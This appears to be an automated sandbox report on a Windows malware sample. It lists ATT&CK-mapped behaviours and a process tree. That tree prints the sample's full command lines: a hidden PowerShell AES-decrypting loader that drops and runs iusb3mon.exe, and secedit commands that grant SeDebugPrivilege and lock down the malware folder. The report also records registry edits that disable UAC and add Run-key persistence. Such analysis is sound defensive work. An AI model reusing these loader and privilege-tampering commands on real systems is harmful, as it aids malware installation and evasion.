a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25

Processes:

iusb3mon.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	iusb3mon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
1276	powershell.exe
3036	powershell.exe
2736	powershell.exe
376	powershell.exe
3420	powershell.exe
872	powershell.exe
2872	powershell.exe
452	powershell.exe
1952	powershell.exe
4344	powershell.exe
5064	powershell.exe
2816	powershell.exe
964	powershell.exe
1336	powershell.exe
2180	powershell.exe
4964	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

Processes:

irsetup.exea0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	irsetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe

Executes dropped EXE 2 IoCs

Processes:

irsetup.exeiusb3mon.exe

pid	Process
3580	irsetup.exe
2844	iusb3mon.exe

Loads dropped DLL 1 IoCs

Processes:

irsetup.exe

pid	Process
3580	irsetup.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

iusb3mon.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

Processes:

iusb3mon.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x0010000000023ba8-134.dat	upx
behavioral2/memory/2844-147-0x0000000000400000-0x000000000053F000-memory.dmp	upx
behavioral2/memory/2844-397-0x0000000000400000-0x000000000053F000-memory.dmp	upx

Drops file in Program Files directory 11 IoCs

Processes:

irsetup.exe

description	ioc	Process
File opened for modification	C:\Program Files\product1\Uninstall\IRIMG1.JPG	irsetup.exe
File created	C:\Program Files\product1\Uninstall\IRIMG2.JPG	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\uni971F.tmp	irsetup.exe
File created	C:\Program Files\product1\Uninstall\uninstall.dat	irsetup.exe
File created	C:\Program Files\product1\lua5.1.dll	irsetup.exe
File created	C:\Program Files\product1\Uninstall\uninstall.xml	irsetup.exe
File created	C:\Program Files\product1\Uninstall\IRIMG1.JPG	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\uninstall.dat	irsetup.exe
File created	C:\Program Files\product1\Uninstall\uni971F.tmp	irsetup.exe
File created	C:\Program Files\product1\uninstall.exe	irsetup.exe
File opened for modification	C:\Program Files\product1\Uninstall\uninstall.xml	irsetup.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 7 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
872	powershell.exe
5064	powershell.exe
2872	powershell.exe
1276	powershell.exe
3036	powershell.exe
2736	powershell.exe
376	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

iusb3mon.execmd.exeSecEdit.exeSecEdit.exeSecEdit.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.execmd.exeSecEdit.exepowershell.execmd.execmd.exepowershell.exepowershell.exepowershell.exepowershell.exeschtasks.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

Processes:

iusb3mon.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	iusb3mon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	iusb3mon.exe

Modifies registry class 1 IoCs

Processes:

irsetup.exe

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	irsetup.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

Processes:

schtasks.exe

pid	Process
3580	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

irsetup.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exeiusb3mon.exepowershell.exepowershell.exepowershell.exe

pid	Process
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
2872	powershell.exe
2816	powershell.exe
1276	powershell.exe
2736	powershell.exe
3036	powershell.exe
376	powershell.exe
2816	powershell.exe
3036	powershell.exe
2872	powershell.exe
2736	powershell.exe
1276	powershell.exe
376	powershell.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
4344	powershell.exe
452	powershell.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
2844	iusb3mon.exe
3420	powershell.exe
2844	iusb3mon.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

Processes:

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	1276	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeDebugPrivilege	376	powershell.exe
Token: SeDebugPrivilege	452	powershell.exe
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	4344	powershell.exe
Token: SeDebugPrivilege	1336	powershell.exe
Token: SeDebugPrivilege	872	powershell.exe
Token: SeDebugPrivilege	964	powershell.exe
Token: SeDebugPrivilege	4964	powershell.exe
Token: SeDebugPrivilege	5064	powershell.exe
Token: SeDebugPrivilege	2180	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

irsetup.exeOpenWith.exeiusb3mon.exe

pid	Process
3580	irsetup.exe
3580	irsetup.exe
3580	irsetup.exe
2752	OpenWith.exe
2844	iusb3mon.exe
2844	iusb3mon.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exeirsetup.exepowershell.exeiusb3mon.exepowershell.exepowershell.exepowershell.execmd.exe

description	pid	Process	procid_target
PID 4812 wrote to memory of 3580	4812	a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe	83
PID 4812 wrote to memory of 3580	4812	a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe	83
PID 3580 wrote to memory of 2816	3580	irsetup.exe	86
PID 3580 wrote to memory of 2816	3580	irsetup.exe	86
PID 3580 wrote to memory of 2872	3580	irsetup.exe	87
PID 3580 wrote to memory of 2872	3580	irsetup.exe	87
PID 3580 wrote to memory of 1276	3580	irsetup.exe	90
PID 3580 wrote to memory of 1276	3580	irsetup.exe	90
PID 3580 wrote to memory of 3036	3580	irsetup.exe	92
PID 3580 wrote to memory of 3036	3580	irsetup.exe	92
PID 3580 wrote to memory of 2736	3580	irsetup.exe	94
PID 3580 wrote to memory of 2736	3580	irsetup.exe	94
PID 3580 wrote to memory of 376	3580	irsetup.exe	95
PID 3580 wrote to memory of 376	3580	irsetup.exe	95
PID 2816 wrote to memory of 2844	2816	powershell.exe	98
PID 2816 wrote to memory of 2844	2816	powershell.exe	98
PID 2816 wrote to memory of 2844	2816	powershell.exe	98
PID 2844 wrote to memory of 452	2844	iusb3mon.exe	99
PID 2844 wrote to memory of 452	2844	iusb3mon.exe	99
PID 2844 wrote to memory of 452	2844	iusb3mon.exe	99
PID 2844 wrote to memory of 3420	2844	iusb3mon.exe	100
PID 2844 wrote to memory of 3420	2844	iusb3mon.exe	100
PID 2844 wrote to memory of 3420	2844	iusb3mon.exe	100
PID 2844 wrote to memory of 1952	2844	iusb3mon.exe	102
PID 2844 wrote to memory of 1952	2844	iusb3mon.exe	102
PID 2844 wrote to memory of 1952	2844	iusb3mon.exe	102
PID 2844 wrote to memory of 4344	2844	iusb3mon.exe	104
PID 2844 wrote to memory of 4344	2844	iusb3mon.exe	104
PID 2844 wrote to memory of 4344	2844	iusb3mon.exe	104
PID 2844 wrote to memory of 2832	2844	iusb3mon.exe	126
PID 2844 wrote to memory of 2832	2844	iusb3mon.exe	126
PID 2844 wrote to memory of 2832	2844	iusb3mon.exe	126
PID 2844 wrote to memory of 4352	2844	iusb3mon.exe	109
PID 2844 wrote to memory of 4352	2844	iusb3mon.exe	109
PID 2844 wrote to memory of 4352	2844	iusb3mon.exe	109
PID 2844 wrote to memory of 2204	2844	iusb3mon.exe	113
PID 2844 wrote to memory of 2204	2844	iusb3mon.exe	113
PID 2844 wrote to memory of 2204	2844	iusb3mon.exe	113
PID 4344 wrote to memory of 2340	4344	powershell.exe	115
PID 4344 wrote to memory of 2340	4344	powershell.exe	115
PID 4344 wrote to memory of 2340	4344	powershell.exe	115
PID 2844 wrote to memory of 964	2844	iusb3mon.exe	116
PID 2844 wrote to memory of 964	2844	iusb3mon.exe	116
PID 2844 wrote to memory of 964	2844	iusb3mon.exe	116
PID 2844 wrote to memory of 1336	2844	iusb3mon.exe	117
PID 2844 wrote to memory of 1336	2844	iusb3mon.exe	117
PID 2844 wrote to memory of 1336	2844	iusb3mon.exe	117
PID 2844 wrote to memory of 872	2844	iusb3mon.exe	118
PID 2844 wrote to memory of 872	2844	iusb3mon.exe	118
PID 2844 wrote to memory of 872	2844	iusb3mon.exe	118
PID 452 wrote to memory of 4356	452	powershell.exe	123
PID 452 wrote to memory of 4356	452	powershell.exe	123
PID 452 wrote to memory of 4356	452	powershell.exe	123
PID 3420 wrote to memory of 3616	3420	powershell.exe	124
PID 3420 wrote to memory of 3616	3420	powershell.exe	124
PID 3420 wrote to memory of 3616	3420	powershell.exe	124
PID 2844 wrote to memory of 3404	2844	iusb3mon.exe	125
PID 2844 wrote to memory of 3404	2844	iusb3mon.exe	125
PID 2844 wrote to memory of 3404	2844	iusb3mon.exe	125
PID 3404 wrote to memory of 3580	3404	cmd.exe	127
PID 3404 wrote to memory of 3580	3404	cmd.exe	127
PID 3404 wrote to memory of 3580	3404	cmd.exe	127
PID 2844 wrote to memory of 2180	2844	iusb3mon.exe	128
PID 2844 wrote to memory of 2180	2844	iusb3mon.exe	128

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

Processes:

iusb3mon.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	iusb3mon.exe

C:\Users\Admin\AppData\Local\Temp\a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe
"C:\Users\Admin\AppData\Local\Temp\a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe
  "C:\Users\Admin\AppData\Local\Temp\_ir_sf_temp_0\irsetup.exe" __IRAOFF:5844850 "__IRAFN:C:\Users\Admin\AppData\Local\Temp\a0127c6b20e18d62795ff85d076c30b6aee74142979fe0e0b5ef4bdd8e35ac25N.exe" "__IRCT:0" "__IRTSS:0" "__IRSID:S-1-5-21-940901362-3608833189-1915618603-1000"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3580
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command function Copy-Stream { param( [IO.Stream]$FromStream, [IO.Stream]$ToStream ) $buff = New-Object 'byte[]' -ArgumentList 80kb while (($readCount = $FromStream.Read($buff, 0, $buff.Length)) -gt 0) { $ToStream.Write($buff, 0, $readCount) } } function Get-FixedBytes { param( [byte[]]$Bytes, [int]$Size ) if ($Bytes.Length -eq $Size) { return , $Bytes } if ($Bytes.Length -gt $Size) { return , $Bytes[0..($Size - 1)] } return , ($Bytes + (New-Object 'byte[]' ($Size - $Bytes.Length) )) } function Unprotect-AesData { [CmdletBinding()] param ( [Parameter(ParameterSetName = \"FromFileToFile\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [Parameter(ParameterSetName = \"FromFileToStream\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [string[]]$FromFile, [Parameter(ParameterSetName = \"FromLiteralFileToFile\", Mandatory = $true, ValueFromPipelineByPropertyName = $true)] [Parameter(ParameterSetName = \"FromLiteralFileToStream\", Mandatory = $true, ValueFromPipelineByPropertyName = $true)] [Alias(\"PSPath\")] [string[]]$FromLiteralFile, [Parameter(ParameterSetName = \"FromFileToFile\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromLiteralFileToFile\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromStreamToFile\", Mandatory = $true, Position = 1)] [string]$ToFile, [Parameter(ParameterSetName = \"FromFileToFile\", Mandatory = $false)] [Parameter(ParameterSetName = \"FromLiteralFileToFile\", Mandatory = $false)] [Parameter(ParameterSetName = \"FromStreamToFile\", Mandatory = $false)] [switch]$Append, [Parameter(ParameterSetName = \"FromStreamToFile\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [Parameter(ParameterSetName = \"FromStreamToStream\", Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] [System.IO.Stream[]]$FromStream, [Parameter(ParameterSetName = \"FromFileToStream\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromLiteralFileToStream\", Mandatory = $true, Position = 1)] [Parameter(ParameterSetName = \"FromStreamToStream\", Mandatory = $true, Position = 1)] [System.IO.Stream]$ToStream, [ValidateSet(128, 192, 256)] [int]$KeySize = 256, [System.Security.Cryptography.CipherMode]$Mode = [System.Security.Cryptography.CipherMode]::CBC, [System.Security.Cryptography.PaddingMode]$Padding = [System.Security.Cryptography.PaddingMode]::PKCS7, [byte[]]$Key1, [byte[]]$IV1, [System.Security.SecureString]$Password, [byte[]]$PasswordBytes, [string]$PasswordPlain, [ValidateNotNullOrEmpty()] [ValidateCount(8, 2147483647)] [byte[]]$Salt = (200, 78, 178, 161, 117, 108, 182, 25, 83, 212, 170, 163, 245, 143, 72, 180, 117, 109, 100, 180, 172, 49, 207, 73, 78, 231, 183, 46, 143, 113, 43, 64), [int]$Iteration = 1000, [ValidateNotNullOrEmpty()] [string]$KeyHashAlg = 'SHA1' ) begin { $formatDebug = \"NamedBlock = {0,-10}, ParameterSetName = {1}\" $PSCmdlet.WriteDebug(($formatDebug -f \"begin\", $PSCmdlet.ParameterSetName)) # if (-not ($PSBoundParameters.ContainsKey('Password') -xor $PSBoundParameters.ContainsKey('PasswordBytes'))) { # throw \"Parameter 'Password' and 'PasswordBytes' must be bounded to only one, not both.\" # } try { [System.Security.Cryptography.SymmetricAlgorithm]$aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = $KeySize $aes.Mode = $Mode $aes.Padding = $Padding if ($null -ne $Key1) { $aes.Key = Get-FixedBytes -Bytes $Key1 -Size ($aes.KeySize / 8) if ($null -ne $IV1) { $aes.IV = Get-FixedBytes -Bytes $IV1 -Size ($aes.BlockSize / 8) } } else { try { $keyGen = New-Object System.Security.Cryptography.Rfc2898DeriveBytes -ArgumentList ($(if ($PSBoundParameters.ContainsKey('Password')) { (New-Object pscredential -ArgumentList 'user', $Password -ErrorAction Stop).GetNetworkCredential().Password } elseif ($PSBoundParameters.ContainsKey('PasswordBytes')) { , $PasswordBytes }elseif ($PSBoundParameters.ContainsKey('PasswordPlain')) { $PasswordPlain }), $Salt, $Iteration, [System.Security.Cryptography.HashAlgorithmName]$KeyHashAlg) } catch { $keyGen = New-Object System.Security.Cryptography.Rfc2898DeriveBytes -ArgumentList ($(if ($PSBoundParameters.ContainsKey('Password')) { (New-Object pscredential -ArgumentList 'user', $Password -ErrorAction Stop).GetNetworkCredential().Password } elseif ($PSBoundParameters.ContainsKey('PasswordBytes')) { , $PasswordBytes }elseif ($PSBoundParameters.ContainsKey('PasswordPlain')) { $PasswordPlain }), $Salt, $Iteration) #for ps2.0 } $aes.Key = $keyGen.GetBytes($aes.KeySize / 8) $aes.IV = $keyGen.GetBytes($aes.BlockSize / 8) } $Key1 = $aes.Key $IV1 = $aes.IV if ($PSBoundParameters.ContainsKey(\"ToFile\")) { $filemode = if ($Append) { [System.IO.FileMode]::Append }else { [System.IO.FileMode]::Create } $ToStream = New-Object System.IO.FileStream -ArgumentList ($ToFile, $filemode, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None) -ErrorAction Stop } } catch { if ($ToFile -and $ToStream) { $ToStream.Close() } throw } finally { if ($aes) { $aes.Clear() try { $aes.Dispose() }catch {} } if ($keyGen) { try { $keyGen.Dispose() }catch {} } } } process { $PSCmdlet.WriteDebug(($formatDebug -f \"process\", $PSCmdlet.ParameterSetName)) if (\"FromStreamToFile\", \"FromStreamToStream\" -contains $PSCmdlet.ParameterSetName) { foreach ($itemStream in $FromStream) { try { [System.Security.Cryptography.SymmetricAlgorithm]$aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = $KeySize $aes.Mode = $Mode $aes.Padding = $Padding $aes.Key = $Key1 $aes.IV = $IV1 # $keyGen.Reset() $transform = $aes.CreateDecryptor() try { $cryptoStream = New-Object System.Security.Cryptography.CryptoStream -ArgumentList ($itemStream, $transform, [System.Security.Cryptography.CryptoStreamMode]::Read, $true) } catch { $cryptoStream = New-Object System.Security.Cryptography.CryptoStream -ArgumentList ($itemStream, $transform, [System.Security.Cryptography.CryptoStreamMode]::Read) } # $cryptoStream.CopyTo($ToStream) Copy-Stream -FromStream $cryptoStream -ToStream $ToStream } finally { if ($cryptoStream) { $cryptoStream.Clear() $cryptoStream.Close() Clear-Variable -Name cryptoStream } if ($transform) { try { $transform.Dispose() }catch {} Clear-Variable -Name transform } if ($aes) { $aes.Clear() try { $aes.Dispose() }catch {} Clear-Variable -Name aes } } trap {} } return } foreach ($apath in $(if (\"FromFileToFile\", \"FromFileToStream\" -contains $PSCmdlet.ParameterSetName) { Convert-Path -Path $FromFile } else { Convert-Path -LiteralPath $FromLiteralFile })) { try { $itemStream = New-Object System.IO.FileStream -ArgumentList ($apath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read) [System.Security.Cryptography.SymmetricAlgorithm]$aes = [System.Security.Cryptography.Aes]::Create() $aes.KeySize = $KeySize $aes.Mode = $Mode $aes.Padding = $Padding $aes.Key = $Key1 $aes.IV = $IV1 # $keyGen.Reset() $transform = $aes.CreateDecryptor() $cryptoStream = New-Object System.Security.Cryptography.CryptoStream -ArgumentList ($itemStream, $transform, [System.Security.Cryptography.CryptoStreamMode]::Read) # $cryptoStream.CopyTo($ToStream) Copy-Stream -FromStream $cryptoStream -ToStream $ToStream } finally { if ($cryptoStream) { $cryptoStream.Clear() $cryptoStream.Close() Clear-Variable -Name cryptoStream } if ($itemStream) { $itemStream.Close() Clear-Variable -Name itemStream } if ($transform) { try { $transform.Dispose() }catch {} Clear-Variable -Name transform } if ($aes) { $aes.Clear() try { $aes.Dispose() }catch {} Clear-Variable -Name aes } } trap {} } } end { $PSCmdlet.WriteDebug(($formatDebug -f \"end\", $PSCmdlet.ParameterSetName)) if ($PSBoundParameters.ContainsKey(\"ToFile\")) { $ToStream.Close() } if ($keyGen) { try { $keyGen.Dispose() }catch {} } } } # main $FromLiteralFile = \"C:\ProgramData\Program\Uninstall_.exe\" $ToFile = \"C:\ProgramData\Program\iusb3mon.exe\" $PasswordPlain = \"123\" if ($FromLiteralFile -ne $ToFile) { Unprotect-AesData -FromLiteralFile $FromLiteralFile -ToFile $ToFile -PasswordPlain $PasswordPlain } else { #inplace $fi0 = Get-Item -LiteralPath $FromLiteralFile -ErrorAction SilentlyContinue if ($null -ne $fi0) { $tmpfile = [IO.Path]::GetTempFileName() Unprotect-AesData -FromLiteralFile $FromLiteralFile -ToFile $tmpfile -PasswordPlain $PasswordPlain if ($?) { Move-Item -LiteralPath $tmpfile -Destination $ToFile -Force } } } #ps1Ö´ÐÐexe Start-Process -FilePath $ToFile -ArgumentList '$false' -WorkingDirectory ([IO.Path]::GetDirectoryName($ToFile)) -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2816
  - - C:\ProgramData\Program\iusb3mon.exe
      "C:\ProgramData\Program\iusb3mon.exe" $false
      4⤵
      UAC bypass
      Executes dropped EXE
      Adds Run key to start application
      Checks whether UAC is enabled
      System Location Discovery: System Language Discovery
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:2844
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege1.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:452
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege1.log /quiet
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4356
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -C "Set-Content -Value @('[Unicode]','Unicode=yes','[Version]','signature=\"$CHICAGO$\"','Revision=1','[Privilege Rights]','SeDebugPrivilege = *S-1-5-18','[File Security]','\"C:\ProgramData\Microsoft\Program\",0,\"D:AR(D;OICI;DTSDRCWD;;;WD)\"') -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.inf')) -Encoding Unicode; secedit.exe /configure /db ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.sdb')) /cfg ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.inf')) /overwrite /log ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.log')) /quiet; Remove-Item -Path ([IO.Path]::Combine($env:TEMP, 'SeDebugPrivilege2.*')) -Force;"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3420
      - C:\Windows\SysWOW64\SecEdit.exe
        
        "C:\Windows\system32\SecEdit.exe" /configure /db C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.sdb /cfg C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.inf /overwrite /log C:\Users\Admin\AppData\Local\Temp\SeDebugPrivilege2.log /quiet
        6⤵
